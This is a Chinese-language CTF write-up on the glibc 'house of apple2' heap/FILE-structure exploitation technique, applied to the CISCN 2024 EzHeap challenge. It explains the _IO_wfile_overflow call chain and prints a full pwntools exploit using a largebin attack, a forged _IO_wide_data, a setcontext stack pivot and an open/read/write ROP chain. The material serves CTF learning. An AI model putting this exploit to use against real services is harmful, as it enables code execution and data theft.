house of apple2
house of apple2
这里以CISCN 2024 初赛的Ezheap为例子
前置
_IO_wfile_jumps
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_new_file_finish),JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),JUMP_INIT(xsputn, _IO_wfile_xsputn),JUMP_INIT(xsgetn, _IO_file_xsgetn),JUMP_INIT(seekoff, _IO_wfile_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_new_file_setbuf),JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),JUMP_INIT(doallocate, _IO_wfile_doallocate),JUMP_INIT(read, _IO_file_read),JUMP_INIT(write, _IO_new_file_write),JUMP_INIT(seek, _IO_file_seek),JUMP_INIT(close, _IO_file_close),JUMP_INIT(stat, _IO_file_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)
_IO_wide_data
struct _IO_wide_data
{wchar_t *_IO_read_ptr; /* Current read pointer */wchar_t *_IO_read_end; /* End of get area. */wchar_t *_IO_read_base; /* Start of putback+get area. */wchar_t *_IO_write_base; /* Start of put area. */wchar_t *_IO_write_ptr; /* Current put pointer. */wchar_t *_IO_write_end; /* End of put area. */wchar_t *_IO_buf_base; /* Start of reserve area. */wchar_t *_IO_buf_end; /* End of reserve area. *//* The following fields are used to support backing up and undo. */wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */wchar_t *_IO_backup_base; /* Pointer to first valid character ofbackup area */wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */__mbstate_t _IO_state;__mbstate_t _IO_last_state;struct _IO_codecvt _codecvt;wchar_t _shortbuf[1];const struct _IO_jump_t *_wide_vtable;
};
分析
_IO_wfile_overflow
保证函数的调用链如下:
_IO_wfile_overflow_IO_wdoallocbuf_IO_WDOALLOCATE*(fp->_wide_data->_wide_vtable + 0x68)(fp)
详细分析如下:
首先看_IO_wfile_overflow
函数
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{if (f->_flags & _IO_NO_WRITES) /* SET ERROR */{f->_flags |= _IO_ERR_SEEN;__set_errno (EBADF);return WEOF;}/* If currently reading or no buffer allocated. */if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0){/* Allocate a buffer if needed. */if (f->_wide_data->_IO_write_base == 0){_IO_wdoallocbuf (f);// 需要走到这里// ......}}
}
这里要走到_IO_wdoallocbuf
,需要满足f->_flags & _IO_NO_WRITES == 0
并且f->_flags & _IO_CURRENTLY_PUTTING == 0
和f->_wide_data->_IO_write_base == 0
然后看_IO_wdoallocbuf
函数:
void
_IO_wdoallocbuf (FILE *fp)
{if (fp->_wide_data->_IO_buf_base)return;if (!(fp->_flags & _IO_UNBUFFERED))if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用return;_IO_wsetb (fp, fp->_wide_data->_shortbuf,fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
这里要调用 _IO_WDOALLOCATE
函数 也就是 *call (fp->_wide_data->_wide_vtable + 0x68)(fp)
要把flag标志位置为 0
如果是 ~(2 | 0x8 | 0x800) 就不会执行 _IO_WDOALLOCATE
而是直接返回到_IO_wfile_overflow
如下图:
当flag为0时调用:
这是要调用fp->_wide_data->_wide_vtable + 0x68
,这里rdi的值是我们伪造的IO_list_all的chunk地址
由于glibc-2.29以及之后setcontext是用rdx进行传参,而这里的rdx也在_IO_wfile_overflow+32
被改为了我们的IO_wide_date_chunk
的地址。并且在后面没有对其进行过修改。
综上所述我们只需要改写:
- IO_list_all 中
flag == 0
; write_ptr>write_base
(IO_list_all中的和IO_wide_date中的都要满足write_ptr>write_base);_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_buf_base
设置为0
,即满足*(A + 0x30) = 0
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate
设置为地址C
用于劫持RIP
,即满足*(B + 0x68) = C
(一般设置为setcontext+61,来进行栈迁移)- vtable设置为
_IO_wfile_jumps
CISCN 2024 初赛的Ezheap
如上图所示该题存在堆溢出漏洞,无其他漏洞。
通过largebin attack泄露libc和堆地址,劫持_IO_list_all。修改vtable为_IO_wfile_jumps
然后修改_IO_wide_data,和_IO_wide_data->wide_vtable ,把IO_wide_data->wide_vtable+0x68 处的地址换成setcontext+61执行我们的ORW.
EXP(对部分代码做出了解释):
from pwn import *
from LibcSearcher import *context(log_level='debug',arch='amd64', os='linux')pwnfile = "./EzHeap"
elf = ELF(pwnfile)
libc = ELF("./libc.so.6")s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} ==========================>>> {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))def add(size,data):sla(b"choice >> ",b"1")sla(b"size:",str(size))ru(b"content:")s(data)def free(idx):sla(b"choice >> ",b"2")sla(b"idx:",str(idx))def edit(idx,size,data):sla(b"choice >> ",b"3")sla(b"idx:",str(idx))sla(b"size:",str(size))ru(b"content:")s(data)def show(idx):sla(b"choice >> ",b"4")sla(b"idx:",str(idx))def pwn():# 构造堆风水,泄露处 libc和heap的地址add(0x200,b"aaaa") #0add(0x410,b"aaaa")#1add(0x410,b"aaaa")#2add(0x420,b"aaaa")#3add(0x410,b"aaaa")#4edit(1,0x500,b"\x00"*0x418+p64(0x851))free(2)add(0x410,b"bbbb")#2show(3)main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-96libc_base = main_arena-0x21ac80IO_list_all = libc_base+libc.sym['_IO_list_all']io_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']setcontext = libc_base+libc.sym['setcontext']pop_rdi = libc_base+0x000000000002a3e5pop_rsi = libc_base+0x000000000002be51pop_rdx_r12 = libc_base+0x000000000011f2e7syscall = libc_base+0x91316pop_rax = libc_base+0x0000000000045eb0ret = libc_base+0x0000000000029139leak("libc_base",libc_base)#leak heapadd(0x430,b"aaaa") #5edit(3,0x500,b"a"*15+b"b")show(3)ru(b"ab")heap_addr = u64(r(6).ljust(8,b"\x00"))-0x420*2-0x210leak("heap_addr",heap_addr)#利用large bin attack篡改_IO_list-all处的值为我们的chunkedit(3,0x500,p64(main_arena)*2+p64(0)+p64(IO_list_all-0x20))free(1)add(0x430,b"aaaa") #6#fake IO_list_allIO_wide_date_chunk = heap_addr+0x10fake_io_file = p64(0)*2fake_io_file += p64(0)+p64(1)+p64(0)fake_io_file = fake_io_file.ljust(0xa0-0x10,b"\x00")fake_io_file += p64(IO_wide_date_chunk)fake_io_file = fake_io_file.ljust(0xc0-0x10,b"\x00")fake_io_file += p64(1)fake_io_file += p64(0)*2fake_io_file += p64(io_wfile_jumps)edit(0,0x500,b"\x00"*0x200+p64(0)+p64(0x421)+fake_io_file)#fake wide_dataedit(2,0x10,b"flag\x00\x00\x00\x00")open_file_chunk_addr = heap_addr+0x210+0x420+0x10 #这里是我们要打开的文件名所在的堆地址,是我所创建的chunk2ROP = flat(pop_rdi,open_file_chunk_addr,pop_rsi,0,pop_rax,2,syscall)ROP += flat(pop_rdi,3,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,pop_rax,0,syscall)ROP += flat(pop_rdi,1,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,pop_rax,1,syscall)Stack_migration_chunk = heap_addr+0x10 #fake_wide_date = p64(0)*3fake_wide_date += p64(0) #write_basefake_wide_date += p64(1) #write_ptrfake_wide_date = fake_wide_date.ljust(0x68,b"\x00")fake_wide_date += p64(setcontext+61) #call fp->_wide_data->_wide_vtable + 0x68fake_wide_date = fake_wide_date.ljust(0xa0,b"\x00")fake_wide_date += p64(Stack_migration_chunk+0xe8) #这里是setcontext中的set rsp,把其设置为我们ROP所在的地址fake_wide_date += p64(ret) #setcontext中有个push rcx ,rcx在0xa8处fake_wide_date = fake_wide_date.ljust(0xe0,b"\x00")fake_wide_date += p64(Stack_migration_chunk) #fake wide_vtablefake_wide_date += ROPedit(0,0x500,fake_wide_date)# gdb.attach(io,'b *_IO_wfile_overflow')sla(b"choice >> ",b"5")itr()if __name__ == "__main__":while True:io = process(pwnfile)try:pwn()except:io.close()